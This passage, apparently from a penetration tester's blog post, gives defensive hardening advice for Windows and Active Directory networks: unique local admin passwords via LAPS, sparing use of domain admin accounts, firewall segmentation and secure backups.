  2. If a local administrator account is compromised and that the same password is used on other hosts, an attacker can very easily use pass-the-hash attacks to compromise all of these other servers. Essentially, by using the same password on multiple machines, you’re transforming a local administrator account into a “global” administrator account. Microsoft has published a tool called LAPS which makes it pretty easy to manage a separate password for all domain-connected Windows machines, though it is also possible to simply disable the account all together.
  3. “Domain admin” accounts should only ever be used to connect to a domain controller and as sparingly as possible. They should never be used in day-to-day administration tasks. As was explained above, any time you connect to a server or workstation that has previously been compromised by an attacker, you are gifting him your account and privileges. It is therefore pretty obvious that privileged accounts should be used as sparingly as possible to avoid this scenario. We’ll often recommend segmenting the Active Directory into various groups granting access to only a limited subset of the company’s servers or workstation to reduce the impact the compromise of such an account can have.

It is well understood nowadays that it is not a question of “if” an attacker or virus gets in, but “when”. This does not mean that securing your perimeter is pointless, but it means that you have to prepare for a breach and do your best to reduce its impact.

So I’ll wrap this up with the following recommendations that cover the points mentioned above and that we give in most of our penetration tests:

  • Use your firewalls for what they were designed for and filter access between your various subnets
  • Use Window’s built-in firewall to restrict access to management ports
  • Use LAPS or a similar password management system to avoid having the same password on multiple systems
  • Disable local administrator accounts if you don’t actually use them
  • Avoid running services with local admin privileges when it is not required
  • Make sure your day-to-day accounts do not have admin privileges, and have separate accounts for administrative tasks. (It seems obvious, but given recent pentest results, it’s worth mentioning that the passwords for these accounts should be different…)
  • Put your privileged accounts in the “Protected Users” group to avoid credentials theft
  • Only use your domain admin accounts on domain controllers, and use them as sparingly as possible
  • Make sure your backups are stored securely and that they are recoverable even in the case of a complete domain compromise

Often in the past it has been difficult to promote security within a company because it has always been hard to establish the business impact of a breach, but by reading the current news, you’ll see many companies crippled by the fact they have lost control of all their Windows machines, and maybe in some cases their backups. I’ll let you imagine the consequences that could have in your company.